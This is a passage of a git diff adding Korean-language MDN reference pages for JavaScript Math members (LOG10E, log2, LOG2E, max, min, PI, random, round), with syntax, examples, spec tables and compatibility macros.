+<p><strong><code>Math.LOG10E</code></strong> 속성은 e의 로그 10 값, 약 0.434의 값을 가집니다.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LOG10E</mi></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>10</mn></msub><mo stretchy="false">(</mo><mi>e</mi><mo stretchy="false">)</mo><mo>≈</mo><mn>0.434</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LOG10E}} = \log_10(e) \approx 0.434</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-log10e.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>LOG10E</code>는 <code>Math</code>의 정적 속성이므로, 사용자가 생성한 <code>Math</code> 객체의 속성으로 접근할 수 없고 항상 <code>Math.LOG10E</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.LOG10E_사용하기"><code>Math.LOG10E</code> 사용하기</h3>
+
+<p>다음 함수는 e의 로그 10 값을 반환합니다.</p>
+
+<pre class="brush:js">function getLog10e() {
+  return Math.LOG10E;
+}
+
+getLog10e(); // 0.4342944819032518
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.5', 'Math.LOG10E')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.log10e', 'Math.LOG10E')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.log10e', 'Math.LOG10E')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.LOG10E")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/log2/index.html b/files/ko/web/javascript/reference/global_objects/math/log2/index.html
new file mode 100644
index 0000000000..7cfd72531c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/log2/index.html
@@ -0,0 +1,96 @@
+---
+title: Math.log2()
+slug: Web/JavaScript/Reference/Global_Objects/Math/log2
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log2
+---
+<div>{{JSRef}}</div>
+
+<p> <strong><code>Math.log2()</code></strong> 함수는 숫자를 log<sub>2</sub>(숫자)로 반환합니다.</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log2</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mn>2</mn><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x &gt; 0, \mathtt{\operatorname{Math.log2}(x)} = \log_2(x) = \text{the unique} \; y \; \text{such that} \; 2^y = x</annotation></semantics></math></p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Math.log2(<var>x</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 숫자는 log<sub>2</sub>(숫자)로 계산합니다. 만약 숫자가 음수라면 {{jsxref("NaN")}}를 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>만약 <code>x</code> 의 값이 0보다 작다면(음수) 값은 항상 {{jsxref("NaN")}}로 반환합니다.</p>
+
+<p><code>log<sub>2</sub>()</code>는 <code>Math</code>의 정적 메서드이므로 만든 <code>Math</code> 객체의 메서드가 아니라 항상 <code>Math.log2()</code>함수를 사용해야합니다. (<code>Math</code>는 생성자가 없습니다.)</p>
+
+<p>이 함수는 Math.log(x) / Math.log(2)와 같습니다.</p>
+
+<p>따라서 log<sub>2</sub>(e)는 {{jsxref("Math.LOG2E")}}와 같습니다. </p>
+
+<p>그리고 위 함수는 1 / {{jsxref("Math.LN2")}}과 같습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.log2()"><code>Math.log2()</code></h3>
+
+<pre class="brush: js">Math.log2(3);    // 1.584962500721156
+Math.log2(2);    // 1
+Math.log2(1);    // 0
+Math.log2(0);    // -Infinity
+Math.log2(-2);   // NaN
+Math.log2(1024); // 10
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>This Polyfill emulates the <code>Math.log2</code> function. Note that it returns imprecise values on some inputs (like 1 &lt;&lt; 29), wrap into {{jsxref("Math.round()")}} if working with bit masks.</p>
+
+<pre class="brush: js">Math.log2 = Math.log2 || function(x) {
+  return Math.log(x) * Math.LOG2E;
+};
+</pre>
+
+<h2 id="표준">표준</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">표준</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-math.log2', 'Math.log2')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.log2', 'Math.log2')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.log2")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/log2e/index.html b/files/ko/web/javascript/reference/global_objects/math/log2e/index.html
new file mode 100644
index 0000000000..244224df3d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/log2e/index.html
@@ -0,0 +1,84 @@
+---
+title: Math.LOG2E
+slug: Web/JavaScript/Reference/Global_Objects/Math/LOG2E
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG2E
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.LOG2E</code></strong> 속성은 e의 로그 2 값, 약 1.442의 값을 가집니다.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LOG2E</mi></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>2</mn></msub><mo stretchy="false">(</mo><mi>e</mi><mo stretchy="false">)</mo><mo>≈</mo><mn>1.442</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LOG2E}} = \log_2(e) \approx 1.442</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-log2e.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>LOG2E</code>는 <code>Math</code>의 정적 속성이므로, 사용자가 생성한 <code>Math</code> 객체의 속성으로 접근할 수 없고 항상 <code>Math.LOG2E</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="설명_2">설명</h2>
+
+<h3 id="Math.LOG2E_사용하기"><code>Math.LOG2E</code> 사용하기</h3>
+
+<p>다음 함수는 e의 로그 2 값을 반환합니다.</p>
+
+<pre class="brush: js">function getLog2e() {
+  return Math.LOG2E;
+}
+
+getLog2e(); // 1.4426950408889634
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.4', 'Math.LOG2E')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.log2e', 'Math.LOG2E')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.log2e', 'Math.LOG2E')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.LOG2E")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/max/index.html b/files/ko/web/javascript/reference/global_objects/math/max/index.html
new file mode 100644
index 0000000000..e315e5027b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/max/index.html
@@ -0,0 +1,110 @@
+---
+title: Math.max()
+slug: Web/JavaScript/Reference/Global_Objects/Math/max
+tags:
+  - Math
+  - 메소드
+  - 자바스크립트
+  - 참조
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/max
+---
+<div>{{JSRef}}</div>
+
+<p><strong>Math.max()</strong>함수는 입력값으로 받은 0개 이상의 숫자 중 가장 큰 숫자를 반환합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate"><code>Math.max([<var>값1</var>[, <var>값2</var>[, ...]]])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>값1, 값2, ...</code></dt>
+ <dd>숫자들.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>입력된 숫자 중 가장 큰 숫자를 반환합니다. 만약 인수 중 하나라도 숫자로 변환하지 못한다면 {{jsxref("NaN")}}로 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>max ()는 Math의 정적 메서드이기 때문에 만든 Math 개체의 메서드가 아닌 항상 Math.max ()로 사용해야합니다. (Math는 생성자가 아닙니다).</p>
+
+<p>만약 아무 요소도 주어지지 않았다면 {{jsxref("-Infinity")}}로 반환합니다.</p>
+
+<p>만약 한 개 이상의 요소가 숫자로 변환되지 않는다면 {{jsxref("NaN")}}로 반환됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.max함수_사용하기"><code>Math.max()함수 사용하기</code></h3>
+
+<pre class="brush: js notranslate">Math.max(10, 20);   //  20
+Math.max(-10, -20); // -10
+Math.max(-10, 20);  //  20
+</pre>
+
+<p>다음 함수는 {{jsxref ( "Function.prototype.apply ()")}}을 사용하여 숫자 배열에서 최대 요소를 찾습니다. getMaxOfArray ([1, 2, 3])는 Math.max (1, 2, 3)와 동일하지만 프로그래밍 방식으로 생성 된 모든 크기의 배열에서 getMaxOfArray ()를 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">function getMaxOfArray(numArray) {
+  return Math.max.apply(null, numArray);
+}
+</pre>
+
+<p>{{jsxref("Array.prototype.reduce", "Array.reduce()")}} 이 함수 또한 배열의 각 값을 비교하여 가장 큰 숫자를 얻을 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var arr = [1,2,3];
+var max = arr.reduce(function(a, b) {
+    return Math.max(a, b);
+});
+</pre>
+
+<p>또한 {{jsxref("Operators/Spread_operator", "spread operator")}}이 함수를 사용하면 배열의 숫자들 중 가장 큰 숫자를 쉽게 얻을 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var arr = [1, 2, 3];
+var max = Math.max(...arr);
+</pre>
+
+<h2 id="표준">표준</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">표준</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.11', 'Math.max')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.max', 'Math.max')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.max', 'Math.max')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.max")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Math.min()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/min/index.html b/files/ko/web/javascript/reference/global_objects/math/min/index.html
new file mode 100644
index 0000000000..7bf84ee57c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/min/index.html
@@ -0,0 +1,103 @@
+---
+title: Math.min()
+slug: Web/JavaScript/Reference/Global_Objects/Math/min
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/min
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.min()</code></strong> 함수는 주어진 숫자들 중 가장 작은 값을 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>Math.min([<var>value1</var>[, <var>value2</var>[, ...]]])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>value1, value2, ...</code></dt>
+ <dd>숫자형</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>주어진 숫자들 중 가장 작은 값. 만약 적어도 1개 이상의 인자값이 숫자형으로 변환이 불가능 한 경우 이 함수는 {{jsxref("NaN")}} 를 반환 합니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>min()</code> 함수는 <code>Math</code> 의 정적 메소드 이므로, 사용자가 생성한 <code>Math</code> 객체의 메소드로 호출하는 것이 아닌 항상 <code>Math.min()</code> 으로 호출되어야 합니다. (<code>Math</code> 는 생성자가 아닙니다).</p>
+
+<p>만약 주어진 인자값이 없을 경우, {{jsxref("Infinity")}} 가 반환됩니다.</p>
+
+<p>만약 적어도 1개 이상의 인자값이 숫자형으로 변환이 불가능 한 경우, {{jsxref("NaN")}} 가 반환됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_Math.min()">Using <code>Math.min()</code></h3>
+
+<p>아래 수식은 <code>x</code> 와<code>y</code> 중 작은 값을 찾아 <code>z</code> 에 할당 합니다.     </p>
+
+<pre class="brush: js">var x = 10, y = -20;
+var z = Math.min(x, y);
+</pre>
+
+<h3 id="Clipping_a_value_with_Math.min()">Clipping a value with <code>Math.min()</code></h3>
+
+<p><code>Math.min()</code> 함수는 때때로 값 제한, 즉 항상 기준 보다 작거나 같은 값으로 제한하는 용도로 사용됩니다. 예를 들면,</p>
+
+<pre class="brush: js">var x = f(foo);
+
+if (x &gt; boundary) {
+  x = boundary;
+}
+</pre>
+
+<p> 위 코드는 다음과 같이 쓸 수 있습니다.</p>
+
+<pre class="brush: js">var x = Math.min(f(foo), boundary);
+</pre>
+
+<p>{{jsxref("Math.max()")}} 함수 또한 같은 방식으로 기준보다 크거나 같은 값으로 제한하는 용도로 사용할 수 있습니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.12', 'Math.min')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.min', 'Math.min')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.min', 'Math.min')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.min")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.max()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/pi/index.html b/files/ko/web/javascript/reference/global_objects/math/pi/index.html
new file mode 100644
index 0000000000..8223a68df6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/pi/index.html
@@ -0,0 +1,82 @@
+---
+title: Math.PI
+slug: Web/JavaScript/Reference/Global_Objects/Math/PI
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/PI
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.PI</code></strong> 속성은 원의 둘레와 지름의 비율, 약 3.14159의 값을 가집니다.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.PI</mi></mstyle><mo>=</mo><mi>π</mi><mo>≈</mo><mn>3.14159</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.PI}} = \pi \approx 3.14159</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-pi.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>PI</code>는 <code>Math</code>의 정적 속성이므로, 사용자가 생성한 <code>Math</code> 객체의 속성으로 접근할 수 없고 항상 <code>Math.PI</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.PI_사용하기"><code>Math.PI</code> 사용하기</h3>
+
+<p>다음 함수는 <code>Math.PI</code>를 사용해 주어진 원의 반지름에서 둘레를 계산합니다.</p>
+
+<pre class="brush: js">function calculateCircumference(radius) {
+  return Math.PI * (radius + radius);
+}
+
+calculateCircumference(1);  // 6.283185307179586
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">사양</th>
+   <th scope="col">등급</th>
+   <th scope="col">주석</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.6', 'Math.PI')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.pi', 'Math.PI')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.pi', 'Math.PI')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.PI")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/random/index.html b/files/ko/web/javascript/reference/global_objects/math/random/index.html
new file mode 100644
index 0000000000..9ce02207de
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/random/index.html
@@ -0,0 +1,106 @@
+---
+title: Math.random()
+slug: Web/JavaScript/Reference/Global_Objects/Math/random
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/random
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.random()</code></strong> 함수는 0 이상 1 미만의 구간에서 근사적으로 균일한(approximately uniform) 부동소숫점 의사난수를 반환하며, 이 값은 사용자가 원하는 범위로 변형할 수 있다. 난수 생성 알고리즘에 사용되는 초기값은 구현체가 선택하며, 사용자가 선택하거나 초기화할 수 없다.</p>
+
+<div class="note">
+<p><code>Math.random()</code>은 암호학적으로 안전한 난수를 <strong>제공하지 않으므로</strong>, 보안과 관련된 어떤 것에도 이 함수를 사용해서는 안 된다. 그 대신 Web Crypto API의 {{domxref("RandomSource.getRandomValues()", "window.crypto.getRandomValues()")}} 메소드를 이용하여야 한다.</p>
+</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Math.random()</code>
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>0 이상 1 미만의 부동소숫점 의사 난수.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.random_사용"><code>Math.random()</code> 사용</h3>
+
+<p>JavaScript의 수(number)는 가까운 짝수로 반올림되는(round-to-nearest-even behavior) IEEE 754 부동소수점 실수이므로, 아래 함수들(<code>Math.random()</code> 자체에 대한 사항은 제외)에 명시된 범위는 정확하지 않음을 유의하라. 지나치게 큰 범위(2<sup>53</sup> 이상)를 선택할 경우, <em>매우</em> 드문 경우 원래 포함되어서는 안 될 최댓값이 포함되는 경우가 있다.</p>
+
+<h3 id="0_이상_1_미만의_난수_생성하기">0 이상 1 미만의 난수 생성하기</h3>
+
+<pre class="brush: js">function getRandom() {
+  return Math.random();
+}
+</pre>
+
+<h3 id="두_값_사이의_난수_생성하기">두 값 사이의 난수 생성하기</h3>
+
+<p>이 예제는 주어진 두 값 사이의 난수를 생성한다. 함수의 반환값은 <code>min</code>보다 크거나 같으며, <code>max</code>보다 작다.</p>
+
+<pre class="brush: js">function getRandomArbitrary(min, max) {
+  return Math.random() * (max - min) + min;
+}
+</pre>
+
+<h3 id="두_값_사이의_정수_난수_생성하기">두 값 사이의 정수 난수 생성하기</h3>
+
+<p>이 예제는 주어진 두 값 사이의 <u>정수인</u> 난수를 생성한다. 반환값은 <code>min</code>(단, <code>min</code>이 정수가 아니면 <code>min</code>보다 큰 최소의 정수)보다 크거나 같으며, <code>max</code>보다 작다.</p>
+
+<pre class="brush: js">function getRandomInt(min, max) {
+  min = Math.ceil(min);
+  max = Math.floor(max);
+  return Math.floor(Math.random() * (max - min)) + min; //최댓값은 제외, 최솟값은 포함
+}
+</pre>
+
+<div class="note">
+<p>이 예제에서 <code>Math.round()</code>를 대신 사용하려고 할 수 있으나, 이렇게 하면 난수가 고르게 분포하지 않게 된다.</p>
+</div>
+
+<h3 id="최댓값을_포함하는_정수_난수_생성하기">최댓값을 포함하는 정수 난수 생성하기</h3>
+
+<p>위의<code>getRandomInt()</code> 함수는 최솟값을 포함하지만, 최댓값은 포함하지 않는다. 최솟값과 최댓값을 모두 포함하는 결과가 필요할 경우, 아래의 <code>getRandomIntInclusive()</code> 함수를 사용할 수 있다.</p>
+
+<pre class="brush: js">function getRandomIntInclusive(min, max) {
+  min = Math.ceil(min);
+  max = Math.floor(max);
+  return Math.floor(Math.random() * (max - min + 1)) + min; //최댓값도 포함, 최솟값도 포함
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의. JavaScript 1.0 (유닉스 전용) / JavaScript 1.1 (모든 플랫폼).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.14', 'Math.random')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.random', 'Math.random')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.random', 'Math.random')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.random")}}</p>
diff --git a/files/ko/web/javascript/reference/global_objects/math/round/index.html b/files/ko/web/javascript/reference/global_objects/math/round/index.html
new file mode 100644
index 0000000000..e163c4459e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/round/index.html
@@ -0,0 +1,92 @@
+---
+title: Math.round()
+slug: Web/JavaScript/Reference/Global_Objects/Math/round
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/round
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.round()</code></strong> 함수는 입력값을 반올림한 수와 가장 가까운 정수 값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-round.html")}}</div>
+
+
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Math.round(<var>x</var>)</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>수</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>입력값을 반올림한 값과 가장 가까운 정수를 의미합니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>If the fractional portion of the argument is greater than 0.5, the argument is rounded to the integer with the next higher absolute value. If it is less than 0.5, the argument is rounded to the integer with the lower absolute value.  If the fractional portion is exactly 0.5, the argument is rounded to the next integer in the direction of +∞.  <strong>Note that this differs from many languages' <code>round()</code> functions, which often round this case to the next integer <em>away from zero</em></strong>, instead giving a different result in the case of negative numbers with a fractional part of exactly 0.5.</p>
+
+<p>Because <code>round()</code> is a static method of <code>Math</code>, you always use it as <code>Math.round()</code>, rather than as a method of a <code>Math</code> object you created (<code>Math</code> has no constructor).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">Math.round( 20.49); //  20
+Math.round( 20.5 ); //  21
+Math.round( 42   ); //  42
+Math.round(-20.5 ); // -20
+Math.round(-20.51); // -21
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.15', 'Math.round')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.round', 'Math.round')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.round', 'Math.round')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.round")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Number.toPrecision()")}}</li>
